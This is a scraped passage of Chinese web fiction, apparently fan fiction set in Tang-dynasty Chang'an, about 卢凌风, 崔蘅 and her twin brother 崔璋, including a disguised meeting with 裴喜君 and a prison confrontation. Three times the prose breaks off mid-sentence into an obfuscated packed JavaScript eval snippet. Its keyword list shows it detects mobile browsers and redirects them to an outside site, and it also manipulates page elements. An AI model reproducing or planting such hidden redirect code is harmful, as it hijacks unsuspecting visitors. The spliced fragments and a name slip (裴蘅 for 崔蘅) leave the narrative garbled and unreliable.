不知她一个女孩子,为什么会有那么大胆子,竟然去踹那架炉子。卢凌风时常能想起那天,他那时哭得撕心裂肺,并非因为害怕,而是悔恨,他痛恨自己的无能,宁愿被烫伤脸的是自己。他一个男子,容貌哪有她的那么重要。 可就连这种时候,崔蘅也在笑着安慰他,明明受伤的是她,她竟然还笑得出来,还说得出安抚的话。 卢凌风知道,崔蘅救他的时候甚至不知救下的是谁,不论是谁,她好像都会去救。从来没见过一个女子是这样的,从小就将自己放在保护别人的角色上。 清河崔氏的幺女,年仅十二岁便风华冠京都。人人都知道她是才女,是美人,卢凌风却知道,她风骨胆色皆不输男子,她的内心十分强大,有时候他都疑惑,到底有没有什么事情能让崔蘅真的感到害怕。 但是十二岁那年对于崔蘅来说是个转折点,她的脸毁了之后,外界一切对她褒扬的声音都瞬间消失了,所有人都在惋惜,都在感慨,说,崔蘅算是毁了。 崔蘅单论容貌绝对当得起姿容绝艳四个字,才十二岁就看得出来,将来一定是个端庄明媚的美人,这样的容貌毁了,确实叫人觉得可惜。崔蘅最开始不戴面纱的,她脸上的伤好了之后,左边脸颊靠近耳朵的位置留下一片浅粉色的烫伤疤痕,像蜘蛛网的纹路,爬在她牛奶似的白皙皮肤上格外吓人。自那之后,所有看见她的人,第一眼是惊艳,第二眼就是同情,他们的情绪太过外露,甚至不必深究,都知道那些人在想什么。 卢凌风记得崔蘅曾经很疑惑地问他,对于一个女子来说,难道她的容貌就是她的一切吗?分明她仍旧善六艺,晓诗书,她的功课依旧是所有人中的佼佼者,为何他们现在只用同情的目光看她。 崔蘅问这个问题时,单纯只是疑惑,她似乎也并没有因此受到打击,甚至不感到伤心。 但是从那之后,她开始戴起了面纱。 “你……” 卢凌风想说点什么,崔蘅却先他一步离远了些。 “哼,这么勉强,不想去就算了,卢将军手下不是有很多人么,不放心的话,让他们看着我。” 卢凌风将双手背到身后,深吸一口气:“人家没有事做么,谁有空陪你逛街,我陪你就是。” 崔蘅沉默半晌:“为什么。” 卢凌风皱眉道:“什么为什么?” 崔蘅自言自语似的道:“你明明不想去,为什么还是答应了。是不是我求你什么你都会答应?” “……” 崔蘅忽然很生气,她不想见卢凌风,因为卢凌风每次面对她时,都是一副心理包袱沉重的样子。这导致崔蘅自己也感到割裂,她很喜欢他的,但是因为他总是那副死样子,让崔蘅觉得自己好像在欺负人,从而不想看见他。但是长时间看不见他,又觉得想得慌。 崔蘅觉得自己快分裂了。 “卢凌风,你何苦因为那些陈年旧事悔愧至此。” 崔蘅胸中涌上一股莫名的情绪,有些委屈,她留下这么一句话转身就走,甚至忘记最开始想让他带自己出去是出于什么原因了。 崔蘅一路跑回自己的房间,这一路冷风吹得她冷静下来了,崔蘅在房间里站了一会儿,忽然后悔得开始撞墙——她在矫情什么,救命啊,都多大人了,她在干嘛啊!还有很重要的事要做的不是吗!哪有空给她去发泄这些多余的情绪。谁来救救她,刚才好像被鬼附身了啊! 崔蘅抱着脑袋苦思冥想,她得再想个办法让卢凌风放她出去才行,还没等她想出办法,忽然听到有人在外面敲她的房门。 崔蘅急忙凑到门边,想伸手去开门,又停了下来。门外传来卢凌风的声音:“快开门,如何还生气了。” 崔蘅犹豫一下,将门打开,见卢凌风站在门外,他皱紧眉头,满脸都是不耐烦,将脸侧向一旁也不看她:“夜禁还有一段时间,还去不去了。” 崔蘅一瞬间笑弯了眼睛:“去!你……等我一下,我换身衣裳。” * “我刚来长安,你知道有什么好吃的吗?” 卢凌风哪知道这些,苦思冥想半天,根本想不出来:“这……” 崔蘅也不为难他,笑道:“我倒是听说过一种甜蜜脯子,是从西域传过来的,我们去尝尝看?” 卢凌风骄矜地点了点下巴:“那就去尝尝。” 那所谓的甜蜜脯子其实就是蜜饯,是崔蘅同门师姐开的店,来长安之前,她跟崔璋说好了,若到了长安没碰上面,就去这家店里见面,也不知道崔璋能不能找到这家店。 崔蘅为了出来玩,把头发都束起来,作男子打扮,虽然依旧遮着面容,但是因为她身量较女子高挑很多,打眼一看,还以为是个俊俏公子。 卢凌风看着她,忽然想起她提过的那个做官的兄长:“说起来,我与你自幼相识,怎么从来不知你有个双生哥哥?” 崔蘅用手托着下巴:“他幼时体弱,养在乡下庄子,几乎没在崔家出现过,当然也没跟我们一起上过学。后来考取功名,又遇贵人推举入仕。为官之后,他天南海北都去过,今年才调任到长安来的。好像是做什么……尚书右丞。” 卢凌风感到十分震惊:“年纪轻轻竟然官拜尚书右丞?崔家应当十分重视才对。” “那倒没有。” 崔蘅嘲讽一笑:“大家族里乱七八糟的事情,一句两句说不清楚,若非我阿兄确有高才,又得贵人相助,拼出一条青云路,他到如今还被困在乡下养病呢。” 卢凌风听着她的描述,实在难以想象,为何他们生在清河崔氏,一个有才却得不到家族荫蔽,一个声名尽毁被逐出家族。 崔蘅叹了口气:“不知道他什么时候才能到。” 卢凌风疑惑道:“你为何不同他一起上路?” “他身体不好,骑不了快马,我就先来了,这不是急着到长安卖书嘛。” 她说完幽怨地瞥卢凌风一眼:“我卖书的计划都被你毁了。” 卢凌风哼了一声:“你兄长做四品高官,还没钱花?” “兄长的钱以后都是要交给嫂子的,虽然目前我还没嫂子,但是我得为自己存点生活费啊。” 卢凌风还想说点什么,正在这时,身后忽然传来一阵轱辘辘的车轮转动声,卢凌风首先察觉到,下意识去看,然后他就看到了很神奇的一幕,一个同崔蘅长得很像的男子坐在一把带轮子的椅子上,被一名高大健壮的仆人推着,进入这家店铺。 卢凌风一眼就认出来了,他一定就是崔璋。 因为他长得真的很像崔蘅,若非他身着男子制式的圆领袍,束冠带巾,而崔蘅又坐在他身边,卢凌风几乎会觉得他就是崔蘅女扮男装。 只不过比起崔蘅,崔璋脸上线条更加舒朗,肤色更黑一些,他脸上没什么表情,眉宇间有一团化不开的郁色,看起来一副不好惹的样子。 崔蘅此时注意到卢凌风的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卢凌风略一思索,道:“崔右丞说得对,理应如此。不过,尚有一案件需崔蘅配合调查,望知晓。” 崔蘅发现卢凌风虽然脸上表情淡淡,却有些尴尬,忽然笑着跑到崔璋身边,凑近他耳朵说:“带上东西走,别管我。” 她说话时,将一个油纸包迅速塞进崔璋手里,后者眉眼动了动,不动声色地将那纸包握在手心。 崔蘅说完这话之后,走到卢凌风身边,她为难地看向崔璋:“兄长,追杀我的到底是什么人还没查清楚,卢将军手下那么多金吾卫,他那里又离金吾卫大营近,更安全些。兄长尚需要人照顾,如果我搬去你府邸,岂不是连累你也要面对杀手,不如待到事情尘埃落定,我再搬回兄长府邸。” 她一开始急着走,是为了把这张名单送给崔璋,现在如果离开了金吾卫的视线,就怕卢凌风的注意力会当到崔璋身上。还不如让她待在他视线里,还能转移一下注意力。 卢凌风看崔蘅一眼,他很想说让崔蘅跟崔璋回去,毕竟对方都拿防贼的表情盯着他了,实在不好意思再在人家哥哥面前强留妹妹。可是看崔璋这副模样,不仅像个病秧子,还不良于行,又刚来长安,手里得用的随从想必也没有多少,他这种情况如何保护崔蘅,说不定连他自己都得搭进去。 崔璋不知到底为何,竟然没再说出不同意的话,他只是深深看了卢凌风一眼,道:“中郎将,我是信得过你范阳卢氏的家风,只不过舍妹毕竟未嫁之身,还望你多替她的名誉清白考虑考虑。” 崔蘅在一旁小声嘀咕:“我的名声本来也没多好,兄长就别为难卢将军了。” “你……咳咳!” 崔璋似乎想骂她,但是忽然握着拳头咳嗽起来,教训的话也被这咳声打断。他咳了几声,才慢慢缓过来,见崔蘅正担忧地看着他,崔璋瞥她一眼:“若有任何事,记得去右丞府找我。” 崔璋交代了一番之后,终于让仆人推着离开了,卢凌风偷偷松了口气,回头见崔蘅早就跑到桌边去吃端上来的蜜脯了。他走到崔蘅身边,犹豫问道:“你兄长的腿……没想到,他不良于行竟然也能做高官。” 崔蘅抽空抬头看他一眼:“谁说他不良于行。我兄长身体有些弱,走路超过半条街的距离,便力有不逮,所以我便找人做了这把椅子送他,让仆人推着他上街,这样他至少不会晕在半路上。” 卢凌风点点头:“原来如此。” 崔蘅拿起桌上的一块杏脯直接往卢凌风嘴里塞:“别说他了,快吃这个,这个好吃。” 卢凌风张嘴接住:“嗯,确实得快点吃了,过了宵禁的时间还在街上游荡,会被金吾卫抓走。” “……你这人,真会扫兴!” 5. 卢凌风的表兄 或许因为这些天崔蘅身边总是有人在,要么是金吾卫的士兵,要么卢凌风亲自跟着,并没有等到那些杀手。崔蘅闲得无聊,找人给崔璋递话,让他把搬家过来得一些自己用惯了的东西一起送到卢凌风这里来。 这些东西里有一套紫砂的茶具,还有她自己炒的花茶,东西送过来之后,崔蘅便在阁楼上寻了个好位置烹水煮茶。这个位置确实好,通风,楼下正好就是卢凌风练武的地方,她在这边喝茶,倚在窗边就能看到他耍枪。 卢凌风自小习武,他身法敏捷,出招利落,加之身量颀长,身材挺拔,舞这把银枪时,俊得让人移不开眼。卢凌风能进入金吾卫任职,也不完全因为自身家世,与他这漂亮的身手分不开关系。 崔蘅看了一会儿,轻轻叹口气,这种悠闲的日子,好像好久都没有过了。卢凌风注意到崔蘅的视线,收了招式往阁楼看来,后者正端着茶杯,遥遥朝他举杯示意。 她没戴面纱,侧脸的疤痕用彩金的妆笔画了一支梅花在上面,只这一笑,便称得上风华绝代。有时候崔蘅给人的感觉其实挺奇怪的,她分明是个女子,通身仪态却令人不敢直视。她身上兼有一种更胜于男子的从容,让人第一眼看到她时,想到的不是她是否貌美,而是……高不可攀。 卢凌风愣怔过后,放下枪快步走进屋内,往阁楼走去。崔蘅见他上了楼,便笑道:“卢将军真是勤勉,休沐在家也不放松分毫,令我等闲人着实汗颜。” 卢凌风听她的话,越发觉得微妙,以前没觉得多奇怪,如今听来,总觉得……她的话与自己同僚寒暄时的用词很像,倒不像女子对男子的关心。世家小姐多养在深闺,即便是玩笑话,又哪有世家女子会觉得自己是闲人而感到汗颜呢? 卢凌风在茶桌另一端坐下,故意道:“适才在楼下看你喝茶惬意得很,不知在下是否有幸讨一杯?” “你就算不来讨,我也要下去请你。” 崔蘅挑挑眉,递过去一张帕子:“先擦擦汗吧,春寒料峭,别着凉。” 卢凌风犹豫一下接过手帕,却没擦汗,只用袖子往额头上按了两下。他下意识捏住那方手帕,柔软的触感像是丝绸,却好像又不像普通的丝绸,丝绸不会这么松软。崔蘅察觉到卢凌风的小动作,笑道:“这是碧云纱,用蚕丝混着棉线纺的,只是纺织方式比较特别,织出来的纱有蚕丝光泽,又兼具棉布柔软透气的特点,做里衣穿很舒服。对了,这次来长安我带了几匹,到时候给你跟我兄长各做一套里衣。” 卢凌风闻言有些不好意思:“这怎么能……” 崔蘅见他神色尴尬,知道他误会了:“我可不会做衣服,你给我尺寸,我去找裁缝做。” 卢凌风轻咳一声:“我以前怎么没见过这种布料。” “当然了,这是我兄长在巴州任刺史期间,纺娘子们研究出来的织物,还不能大量产出,离开时我特地带了几匹。” 卢凌风惊讶道:“这莫非是崔右丞教人纺出来的?” 崔蘅轻轻一笑:“也不是哪一个人纺出来的,这是集体的智慧成果。巴州山地多,不适合种植,倒是适合树木生长。我便带人栽了桑树养蚕,后来集合各家没有大体力劳动的娘子们学纺织,不然闲着也是闲着,有点事做还能给家里赚些补贴,娘子们都很有干劲。后来她们自己试验改良了很多纺织的方法,就做出这种碧云纱。这种纱不太容易着色,普通染料染色后布料还会变硬,只有山上一种叫青蒿的植物做出来的染料能把它染得很好,成品是天青色,便为它取名碧云纱。这种布料虽然不够艳丽,做里衣却极舒适,周围几个州县都喜欢买它回去给家里的婴孩做衣服。” 卢凌风点点头,他又被崔蘅面前的那套茶具吸引了注意力,他拿起一个茶杯,轻轻转动着:“仔细看来,这茶杯的材质也未曾见过。” 崔蘅得意道:“算你有眼光,这叫紫砂,最适合做茶具。这是我跟着兄长去丽云县做县令时,发现它们当地有一种紫色的矿土,烧出来是褐色土,那种紫色矿土就是烧制紫砂的原料,做出来的茶具很受欢迎,兄长离任时我特地带了一套。” 能做出这种紫砂茶具完全是偶然,唐朝茶具多为陶瓷,为了追求古朴,他们会用粗陶做茶具,而紫砂这种材料,是在宋朝才开始出现。天知道崔蘅发现紫砂泥时候有多惊喜,不过为了紫砂茶具向周遭推广销售,她最终还是建议崔璋将紫砂泥命名为“丽云泥”,为的是追求地域的广告效应。 卢凌风听明白了,崔蘅跟着崔璋去各地上任,竟然能带着当地的居民发挥本地优势为百姓寻得谋生手段,这……这可是难能可贵的才能。 他定定看着崔蘅的脸,心里忍不住想,她真厉害,还是像以前一样厉害。崔蘅身上有种独特的魅力,不论将她放在什么地方,她都能找到自己喜欢的事情。 见卢凌风一直看着她,崔蘅却以为他在看自己脸上的疤痕,她微微敛起笑容,摸到自己左侧脸颊:“怎么,污中郎将的眼了,我将面纱戴起来。” 卢凌风猛地回过神,一把握住她的手腕阻止崔蘅起身的动作:“不是!我,只是一时出神。” 他说完拿起面前的茶杯一饮而尽,但是一想到她误解自己,卢凌风心里便很郁闷,眉头紧锁一直没有展开。崔蘅见他这副表情,问道:“茶不合口味?喝口茶把你苦得脸都皱起来了。” 卢凌风越想越生气,实在忍不了了,他将茶杯重重放在桌上:“与茶何干,崔知意,你怎会如此想我。” 知意是崔蘅的小字,以前上学时崔蘅总喜欢逗卢凌风,他小时候就老绷着张脸,逗他特别好玩,崔蘅告诉她自己家里人都叫她知意,让卢凌风以后也叫她知意姐姐,卢凌风知道她是笑他长得没她一个女孩子高,才让他叫姐姐,气得满脸通红,死活都不肯。 崔蘅听卢凌风这样喊自己,声音低下去:“我怎么了嘛。” 卢凌风忽然伸手捏住她的下巴,手指一根根收紧。他凑上去,压低声音,几乎每个字都含着隐忍怒气:“我何时,对你的容貌有过微词。这伤是因我受的,你说这种话,岂非骂我禽兽不如?” 崔蘅盯着他近在咫尺的脸,清晰看到了卢凌风眼底的愤怒和难过,她此时终于意识到自己说那种误解他的话多过分。崔蘅急忙握住卢凌风的手,道歉道:“对不起,我……” “别说你不是故意,你心里如此想,才会如此说。” 崔蘅平时也没少招惹卢凌风,但是她分得清什么时候他是闹脾气,什么时候是真生气,听他说出这话,就知道卢凌风是真难过了。崔蘅急忙从座位上站起来,凑到他身前:“我错了,卢凌风……别生我的气。” “我生你的气?我配吗?” 崔蘅立刻道:“你配你配,我给你斟茶道歉,好不好?” 她倒了一杯茶递到卢凌风唇边:“小女子有口无心,卢将军大人大量,可千万别入心啊。” 卢凌风终于冷哼了一声,从她手里接过茶杯:“看在这茶味道不错的份上,且饶你这次。” 崔蘅偷偷松了口气,她蹲在卢凌风身边笑嘻嘻地看着他:“你喜欢呀?我可以送你一罐。” 卢凌风看着她的表情,预感她又要捉弄自己,眯起眼睛并不回答,果然接下来就听崔蘅含笑道:“如果你叫我一声崔姐姐,就送你一大罐。” “哼!” 卢凌风直接拿过桌上的壶,自己倒起来:“我这个人最怕麻烦,不如想喝时叫你泡给我。” 崔蘅有些疑惑:“其实我从以前就觉得奇怪,说是跟我同岁,可你小时候比我小好多,以至于一直觉得你像弟弟。你不会虚报岁数,实际真的比我小吧?” 卢凌风咬牙切齿:“哪个是你弟弟!你是不是又想给我斟茶道歉了?” 崔蘅撇撇嘴,此时,大门外忽然传来敲门声,卢凌风疑惑地站起身:“是谁大白天上门拜访。” 崔蘅往大门的方向看了一眼:“你去看看吧,或许是公事呢。” “嗯。” 卢凌风下了阁楼,已经有人打开大门将敲门的人引进来,看清来人卢凌风后颇感惊讶,来的竟然是他的表兄萧伯昭。 萧伯昭此人虽说是他的表兄,但是两人实在话不投机,萧伯昭喜欢逛秦楼楚馆,豢养歌姬舞姬,卢凌风大约还不到那种年纪,对此并不感兴趣。他们平时很少交往,今日他为何上门拜访? 卢凌风愣了一下,对门外的萧伯昭拱手行礼:“原来是表兄,不知表兄有何要事,竟然亲自登门。” 萧伯昭笑着拱手回礼:“自是有事相商,对表弟来说可是个美差,还不请我进去坐坐。” 卢凌风根本不信他所说的美差,不过还是把他请进了屋里。因为知道崔蘅就在阁楼,卢凌风只想将萧伯昭带到正堂接待,谁知萧伯昭却十分自来熟,一进门便朝阁楼走去,卢凌风急忙拉住他:“表兄,阁楼上风冷,还是不上去了吧。” 萧伯昭摆摆手:“哎~表弟有所不知,你这住所阁楼视野开阔,十分得我心意,我难得来一趟,自然要上去坐坐。” 卢凌风还想拦他,谁知萧伯昭早已上了楼梯,他只好跟上去。好在崔蘅早就回避到里间了,并不在座位上。 萧伯昭一到阁楼厅堂,便见到桌上竟摆好一副茶具,杯中茶水还热腾腾地冒着气。萧伯昭一愣,笑看着卢凌风:“怪不得不让我上来,原来表弟已经接待过雅客,这样一副茶具,可不像表弟用的。” 这副紫砂茶具不仅材质独特,上面的花纹也精致得不得了,壶身上画着挺俏的兰花,茶杯上也有花瓣作暗纹装饰,一看便知是女子之物。卢凌风抿着唇皱皱眉,转移话题:“表兄,你到底有什么事要跟我说。” 萧伯昭却对桌上的茶具产生浓厚兴趣,他直接坐在适才崔蘅坐的位置,拿起那茶杯,笑得别有深意:“表弟啊表弟,你平时在我面前装得一本正经,请你去平康坊喝酒也推辞,没想到自己却养了个美人。” 卢凌风不知道他怎么看出来的,只觉得这话被萧伯昭说出来脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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然而萧伯昭本身就怕他拒绝,听见卢凌风喊他,就跑得更快了,连头都不曾回一下。 卢凌风眼睁睁看着他跑远,气得狠狠捶了木栏一拳:“混账!” 崔蘅躲在阁楼里间,将他们对话听得一清二楚,觉得甚是好笑。不过自从来到这里,她也见识了不少渣男,今天又见识到一个,也不觉得惊讶了。崔蘅走出来,给自己倒了杯茶:“你这表兄倒是有意思,虽然是个武夫,算计得挺周全。” 卢凌风疑惑道:“什么意思?” “我看他也不全是为了去相会歌姬才让你代劳,适才远远看到背影,你那表兄外形远没有卢将军这般……” 崔蘅上下打量卢凌风一眼:“英武。” 卢凌风十分无语:“别戏耍我,继续说。” 崔蘅笑着道:“这位侍郎之女应当也很聪慧,借口为他摆酒送行,或许是想在婚前相看未来夫君,若入眼,心中欢喜,若不入眼,也好周旋。你这表兄满意这门婚事,不想被那女子看不上,便让你代为相看,届时花轿抬进家门,拜过堂,入了洞房,再要退婚可来不及了。” 这个时代替人家去见未婚妻可不比现代的网友替见面,有很多未婚夫妻婚前都只能见一面,然后就嫁了。 卢凌风不忍直视地移开视线,虽然没作评价,脸上的表情早就在大骂“无耻”了。 崔蘅看着他:“你去吗?” 卢凌风道:“无聊,我怎么可能去。” “不去的话,那女子会伤心的。” 卢凌风上下打量崔蘅一眼:“不然,你去。” 崔蘅差点被口水呛死,卢凌风挑挑眉:“看崔右丞相貌堂堂,你若扮上男装,应当也挺不错。而且你是女子,随机应变,比我合适。” 崔蘅嘴角抽了两下:“我去的话,会忍不住把你表兄的无耻行径全抖漏出来,到时候他俩掰了,可别怪我。” 卢凌风冷笑一声:“如此甚好,帮他遮掩,岂非助纣为虐。” 崔蘅摇摇头,拿起桌上茶杯——唐朝虽然已经十分开放,对于女人来说仍旧不友好,盲婚哑嫁的情况经常有,那不然……就去看看吧。 结果这口茶还没到嘴,卢凌风忽然夺走了她手中的茶杯,又将茶泼了:“这茶杯别要了。” 崔蘅疑惑道:“为何?这茶具是一整套的,怎么能说不要就不要。” 卢凌风也不好说这个茶杯被他表兄碰过,看着膈应,想了半天道:“大不了我再找一套送你,反正这个茶杯……最好别要。” 崔蘅默默盯着卢凌风看了一会,恍然大悟道:“哦——我懂了。” 她拿起卢凌风面前的茶杯,在杯上重重印下一个唇印,拉着卢凌风的手放在他掌心,暧昧道:“这个,还有刚才那个,都送给卢将军,茶壶留给我就好。” “……” 卢凌风十分生气,卢凌风满脸通红,卢凌风百口莫辩。 “崔知意!你……你什么时候能正经点!” “……”她哪里不正经,难道不是这个意思吗? 6. cos就要从身到心 崔蘅最终还是去赴了裴侍郎之女的约,世家小姐,通常将脸面尊严看得极重,她如今盛情为未婚夫摆酒送行,若无人赴约,她的侍从,以及知道这件事的人,都会看轻她,到时候那位小姐就不是单纯伤心这么简单,若是再稍微想不开一点,直接寻死的都有。 裴蘅将发束起,换上男装,还把脸涂黑了一点,脸上的疤痕不算深,拿妆遮一下,便与肤色相近,看不太出来。不过就算看出来应该也没什么,脸上的伤疤对女子来说是瑕疵,对男子来说,是没有大碍的。 裴蘅身量本就高挑,有175cm左右,她还在靴子里塞了几层鞋垫,身高直接突破180。 卢凌风抱着手臂在一旁看她折腾,忍不住嗤笑一声:“我表兄哪有这么高,不用再垫了。” 崔蘅犹豫一下:“是吗?那我少垫一层。” 卢凌风无语了:“让你去见人,又不是扮成他去见人,你何必做这些多余的事。” “哎呀,你懂什么,我们女子难道就不需要英武的男子来给自己撑脸面吗?就算将来退婚,她家里的下人看到的是个弱鸡将军去赴约,也丢那位小姐的脸。” 卢凌风确实不懂,他挑了挑眉毛,不予置评。 等崔蘅完全装扮好,拿起桌上的双锏在手中轻轻一挽,肃眉怒目瞪向卢凌风:“如何?” 卢凌风抱着手臂打量她半晌,一脸为难地摇头:“不像。” 崔蘅泄气道:“不像吗?” “不像我表兄,比他俊俏得多。” 崔蘅忍不住笑出声:“那我就去了。” “你现在还在被追杀,我派两个人,扮成随从保护你。” 他想了一下又道:“还是我亲自扮成随从保护你,若你出了什么事,崔右丞定不放过我。” 崔蘅瞥他一眼,不情愿道:“有你这么帅气的随从,我未婚妻还看得上我?” “……你哪来的未婚妻了,入戏别太深。” 最终考虑到带个随从也能给自己壮气势,崔蘅还是同意卢凌风的提议,卢凌风带着郭庄扮成随从,同崔蘅一起赴约。不过崔蘅所担心的自己会被比下去根本是多余,跟她共用一张脸的崔璋是出了名的美少年,崔蘅比崔璋更健康,穿上铠甲,就是一名英武的少年将军。而且比起卢凌风,崔蘅身上有种书卷气,更像儒将。 卢凌风觉得崔蘅就是那种做什么事都要做到极致的人,有些地方甚至细致得挺多余的,自从穿上男装,她走路都迈四方步,坐下时大马金刀,起身时还要甩袍,信念感极强。 卢凌风坐下,崔蘅就跟着他一起坐下,郭庄在旁边看了半晌,没忍住“噗嗤”笑出了声,卢凌风疑惑地看向他:“你笑什么?” “难怪刚才觉得崔姑娘的动作眼熟,原来是在模仿中郎将。” 卢凌风瞪了他一眼:“多嘴!” 崔蘅也瞪他一眼:“什么崔姑娘,叫我萧将军!等下见到裴小姐可别说漏嘴。” 郭庄被瞪两眼,还是忍不住笑,抱拳道:“是,末将遵命。” 崔蘅同两人一起来到约定的湖心亭,似是因为看到有人来了,湖心亭中响起一阵悠扬琴声,像在迎接他们。崔蘅看了卢凌风和郭庄一眼,道:“你们就在这里等我吧。” 卢凌风不动声色地抬抬下颌:“遵命。” 看着崔蘅走远,郭庄忍不住凑过去小声同卢凌风说道:“崔小姐扮起男装还真像模像样的,就连我这个知道实情的人都觉得他像个男子。” 卢凌风忍不住笑了一下:“她向来做什么像什么。” 崔蘅来到湖心亭,便见一名身穿红衣的女子正在抚琴,琴声缠绵,饱含情意。裴小姐虽然想见未婚夫,但还是守礼,在两人之间挂了一层薄纱,这样看起来只是朦朦胧胧,并不真切。崔蘅负手而立,一直等她一曲弹完,才抱拳行礼:“萧伯昭,见过崔小姐。小姐摆酒为我送行,特备薄礼相赠,以谢盛情。” 崔蘅说完,将放在一旁的锦盒递给仆人,示意他交予裴喜君。崔蘅向来心细,尤其知道今天要见面的人是一名痴情女子,心中更忍不住同情,行事越发周到。裴喜君显然没料到还能收到礼物,十分高兴,她起身从帘幕后面站起身,撩开帘子。 崔蘅抬起眼看向裴喜君,帘子在两人之间缓缓打开,视线对上时,裴喜君明显一愣,随即有些害羞地低下头。 “萧将军快入席吧。” 崔蘅应声是,便走了进去。 跟裴喜君客套地聊了几句,崔蘅渐渐有些明白了,这对未婚夫妻根本不熟,所谓的情意也只是小时候一起玩培养的一些情意,裴喜君如今完全是沉浸在对未婚夫的想象中。少女怀春,大多都是爱上了幻想中的那个人,真的面对现实,就是另一回事了。且看她的神色,显然对自己容貌还算满意,若真的任由她这样想象下去,裴喜君对“萧伯昭”的感情会越来越深。 崔蘅觉得,还是该告诉她实情。 于是又喝了两杯酒,崔蘅清清嗓子,对裴喜君道:“裴小姐,我有一事想同小姐密谈,不知可否遣退仆从?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401027|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>裴喜君愣了一下,但是还是依言令下人退到亭子之外。 “萧将军有何话要同我说?萧将军!” 裴喜君刚说一句,崔蘅却已经起身,朝着她深深行了一礼,裴喜君急忙伸手止住她的礼:“萧将军,这是何意?” “是歉意。裴小姐,我并非萧伯昭,而是应萧将军的要求,冒名来与小姐相会,欺瞒小姐,实在抱歉。” 裴喜君震惊无比,轻声问:“这是为何……” 崔蘅见她表情,心里暗暗叹口气,但还是将来龙去脉说出来,隐去卢凌风让自己代替他过来,和萧伯昭急着去见歌姬不愿跟她见面这两点,只说萧伯昭忙于公务,自己曾经欠了萧伯昭一个人情,这才帮忙。 “不过,你们二人终究会见面,届时见了面却发现不是,恐小姐伤心,这才实情告知。” 裴喜君聪慧无比,尽管崔蘅为萧伯昭找了忙于公务的借口,却还是猜出自己这个未婚夫并不愿见自己,因而十分伤心。 她强忍着眼泪朝崔蘅行了一礼,将她的礼物还给她:“谢郎君据实以告,那这礼物,便还给郎君吧。” 崔蘅没有收下那礼物,摇摇头:“我终究对小姐有欺瞒之罪,这份薄礼就当赔罪吧。崔某告退。” 崔蘅说完便要走,却听裴喜君急忙叫她:“崔郎君,还不知您是哪位?可否告知?” 崔蘅想了想,回过头笑着对她行礼:“在下崔璋。” 崔蘅从湖心亭出来之后,卢凌风与郭庄均迎了上来,卢凌风已经开口询问:“怎么样?怎么去这么久?” 崔蘅一边抓住他们一个,急道:“快走快走,回去再说。” 离湖心亭远了,崔蘅才松了口气,她捶着自己的腿声音颤颤:“我腿都软了,下次再有这种事情可别再找我帮忙。” 卢凌风不解道:“裴小姐是侍郎之女,世家小姐,竟如此可怖,将你吓得腿都软了?” “不是小姐可怖,是我从未骗过这样聪慧善良的小姐,心里愧疚,故而腿软。” 卢凌风奇道:“你不是说,要以实情相告吗?” 崔蘅道:“萧伯昭的部分我是以实情相告了,只是,裴小姐问我是何人时,我没告诉她实情。” 卢凌风挑起眉:“你说你是……崔右丞?” 崔蘅微微移开视线,有些心虚:“反正他同我长得一样,就算裴小姐找上门,也不会露馅。” 卢凌风摇摇头:“我开始同情崔右丞了,可以想见,从小到大,他要替你背多少黑锅。” 7. 金吾卫都是怎么审女犯的 近来士族间发生了件大事,清河崔氏不知道招惹了什么人,旁支的一个家族被抄家了。虽然还没到抄家灭族的地步,但是,却是全家下狱,那个家族的子弟也不争气,捐钱买了几个小官,结果被查出来一长串贪赃枉法,鱼肉百姓的破事,被捅到天子面前,天子下令整治。 ——原本皇家的人也不会想跟士族对上,但是这次很奇怪,要抄崔家的人,竟然姓崔。 一阵木轮轱辘碾过的声音由远及近传过来,打断了牢房里的叫嚣:“不可能,我可是清河崔氏!我儿子在长安做四品大员,抄家砍头怎么可能落到我头上。” 撕心裂肺的谩骂声随着轮椅停下来,也渐渐停止,披头散发的中年男人睁大混浊的眼睛,盯着牢房外那人,看了许久,终于将他认出来,他就是适才他口中“四品大员”的儿子,崔璋。 “璋儿……你是璋儿!璋儿,快些救救为父!有人,有人要害为父!他们诬陷为父啊!” 崔璋看着他勾起唇角,修长的手指捏着食指翠绿的扳指上轻轻转动:“怎么会是诬陷呢,父亲,你们全家的罪证,是我同妹妹一起,亲自收集的。” 崔璋说完,一道穿着紫色轻纱的高挑身影从他背后走出来,笑靥如花:“父亲,还有我亲爱的阿弟们,好久不见。你们应该不会不认识我了吧。” “崔……崔蘅……” 被崔蘅称作阿弟的两个人看起来只有二十出头,皮囊长得不错,但是此时坐在地上好像两摊烂泥,根本爬不起来了。这两人与崔璋崔蘅是同父异母的兄弟,他们的母亲是崔蘅与崔璋母亲死后,被扶正的小妾。上一辈人的恩怨如今很难说清,母亲到底是怎么死的,崔蘅也不想再去调查,毕竟人都死了,就算查明白又能如何,还能让她活过来不成?她只想把那个乱七八糟的崔家彻底搞垮。这些年崔蘅和崔璋就一直在做这件事,她原本还想,若崔家的几个男人太有出息了怎么办,还要费力给他们罗织罪名,结果稍稍一查,哪里还需要他们罗织罪名呢,他们家根本就是从根里烂掉了。 她带到长安的那张纸记录了崔氏父子的罪证,所以卢凌风说有人追杀她时,崔蘅并不感到意外,她这些年一直是被追杀的,有的是继母派出的杀手,还有一些是他们亲生父亲和手足兄弟派出的。崔蘅不在乎,离开崔家的那一刻,她已经做好了跟这些畜牲鱼死网破的准备。 